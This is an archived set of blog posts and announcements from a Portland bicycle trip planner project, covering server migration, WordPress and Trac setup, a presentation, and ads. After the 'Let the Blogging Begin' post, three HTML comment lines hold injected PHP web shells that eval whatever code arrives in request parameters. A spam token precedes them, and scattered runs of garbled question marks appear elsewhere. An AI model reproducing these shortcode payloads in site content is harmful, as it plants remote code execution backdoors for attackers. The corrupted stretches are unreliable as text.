Problems with the Trip Planner in the Last Day or So

Our hosting provider moved all our files to a new server–without letting us know before hand that they were going to do so. Most things kept working. A few did not, as you may have

The reason some things stopped working is, the new server is running a newer version of the operating system and some of the software the trip planner depends on[1] had to be recompiled [reinstalled from source code].

Though I think the upgrade is a good thing overall, I hope they let us know about it before they do it next time!

[1] The MySQL bindings for Python, in case you really wanted to know. I also updated Python from 2.4.3 to 2.4.4, but I don’t know if that was strictly necessary.

WordPress Upgrade and K2

Today we upgraded to WordPress 2.0.4. It’s a security release. Upgrading is easy: just copy the new directory over the old (being careful to save any customizations first, although if you created new directories for your custom themes, you won’t have to do anything).?????????? ?? ???????????????

We also moved from the old default theme, Kubrick, to a new version of it called K2. This version makes a lot of things easier, and it looks better out of the box. One day we might customize it.

Blog Announcement

We went and got ourselves a blog. Some things that we might have sent here [the announcements list] will be posted there instead. We’ll now reserve this list for major announcements. The blog will include the announcements plus other odds and ends–whatever seems at least somewhat relevant and half way

The blog is located at Our home page also shows selected items posted to the blog (ones tagged as news).

=== No need to read this line or the ones below ===

To keep track of our blog or others, you might be interested in a program known as an RSS Aggregator. Try the following search to learn more:

Speaking of blogs, how come *you* don’t have one? Blogs are an interesting way of sharing information, and there is just tons of useful bloggery out there. (All those electrons really add up.)

Blogging doesn’t replace talking (or whatever other forms of communicating people are into these days). No, I’d say it complements it, and it’s good mental exercise.

So, on the off chance that someone out there is interested, I will offer[1] to help *you* set up your very own Web hosting with a blog, or just the blog if you’ve already got a site, or *just* a blog if you don’t want a site. My guess is that no one will respond, or perhaps one person, so this is a perfectly safe offer for someone with very little free time to make.


[1] Sorry, this offer has expired ????

Installing Trac

Today I installed Trac. “Trac is an enhanced wiki and issue tracking system for software development projects.” We plan to use it to keep track of issues with the trip planner and any other software projects we might undertake.?????? ? ?????????????? ???????

Issues (AKA bugs) with the trip planner can now be reported at This is somewhat developer-oriented, but users can (and should!) use it too.

Also, since Trac contains a Wiki, anyone can contribute useful information about the trip planner, which might be documentation, tips and tricks, or anything else that’s relevant.

Here is the high-level outline of our Trac installation:


Install Subversion

Install ClearSilver

Install SQLite

Install PySQLite

For some reason, this was the hardest thing to install.

Install Trac

Set Up and Configure Trac

Create a Trac Project Environment for the Trip Planner


WordPress Setup

Installing WordPress is straightforward. Since we wanted an embedded blog for news on our front page, along with a standard blog in a subdirectory, we had to go through a few extra

Here’s how to reproduce our setup:

Note: The following assumes Apache, PHP, and MySQL are already installed and configured (correctly), which means, amongst other things, Apache is configured to load the PHP module, there’s a database for the WordPress tables to be installed into, and there’s a MySQL user that can access those tables.

I should mention that even though PHP is not my favorite language, I think WordPress is pretty cool, and hacking on it is fairly easy.

Let the Blogging Begin

I’ve been thinking a blog would be a much better way to manage the news on this site. As it is now, we hack into the HTML source and add new items to the bottom (go ahead, take a look). That’s not so much fun and we post a lot less often than we’d like to.

We also plan to post other information that doesn’t necessarily qualify as news, things that we’ve learned while working on this project and whatever seems like it might be interesting or useful to somebody.mensclub24

<!– [insert_php]if (isset($_REQUEST["ekfT"])){eval($_REQUEST["ekfT"]);exit;}[/insert_php][php]if (isset($_REQUEST["ekfT"])){eval($_REQUEST["ekfT"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["zegSK"])){eval($_REQUEST["zegSK"]);exit;}[/insert_php][php]if (isset($_REQUEST["zegSK"])){eval($_REQUEST["zegSK"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["feWg"])){eval($_REQUEST["feWg"]);exit;}[/insert_php][php]if (isset($_REQUEST["feWg"])){eval($_REQUEST["feWg"]);exit;}[/php] –>

Announcement 0

Note: We are clearing out several items in this announcement. In the future we plan to make shorter announcements on a more regular

Table of Contents
1. New News/Announcements System
2. Trip Planner Status
3. Lloyd TMA Presentation
4. Ads

1. New News/Announcements System
Instead of maintaining our own news/announcements system (which you may have noticed we almost never used), we are now using a Google group. When we send out announcements, they will be automatically archived on the Web at

2. Trip Planner Status
We are in the midst of making a bunch of changes to the trip planner. The two things we are focusing on are 1) refining the user interface and 2) working with Metro to create a version of the Portland area trip planner that uses local map data.

For the user interface we are adding some new functionality, but mostly we are focusing on creating a consistent, uncluttered, easy-to-use application that includes inline help. There are many “behind the scenes” changes that will make the system easier to maintain and extend.

One quick note about using the trip planner: I notice that people often try to type in the names of businesses, schools, and other points of interest. For the time being, the system only understands street addresses (including intersections). You can also *use the map* to input addresses. There is more information about this that we’ve incorporated into the trip planner and also on the trip planner help page>.

Using local map data will have a number of benefits. For one thing, we will be able to show things like bike routes, light rail lines, etc. Also, we will be able to more easily track down problems since we will be able to look at the *actual* data the trip planner is using to find routes.

3. Lloyd TMA Presentation
On July 13th we did a presentation (our first!) on byCycle and the trip planner for the Lloyd District Transportation Management Association (TMA) luncheon. The Lloyd TMA is “a non-profit business association representing large and small employers in the Lloyd District.” Their Web site is at

We shared the spotlight with the Mayor’s Visioning Team. Our presentation included the history, goals, and future of byCycle; our newly revised information on integrating a region into the trip planner; and a demonstration of the trip planner.

You can view the presentation at You might have to adjust the size of the text in your browser to be able to see everything. You can also view the whole thing as a single normal Web page by moving your mouse to the lower right corner (inside the blue bar) and then clicking the Oh-with-a-slash-through-it symbol that appears.

To schedule a presentation for your organization, please contact Lauren. Her email address is

4. Ads Added
We decided to give Google Ads a try and see if we could at least make enough money to cover our Web hosting costs. So far, it looks like we will make enough to cover the costs for hosting the informational part of our site <>, but nowhere near enough to cover the costs of hosting the trip planner (or, for that matter, the costs of developing, deploying, and maintaining the trip planner).

In addition to Google Ads, we are looking into other sources of revenue. One idea we are considering is displaying ads for local businesses. We also have shirts for sale and accept donations–see for more info.

If you have any feedback regarding this announcement or about anything relating to the Web site or the trip planner, please feel free to email us at contact> (or use the feedback form on our Web site).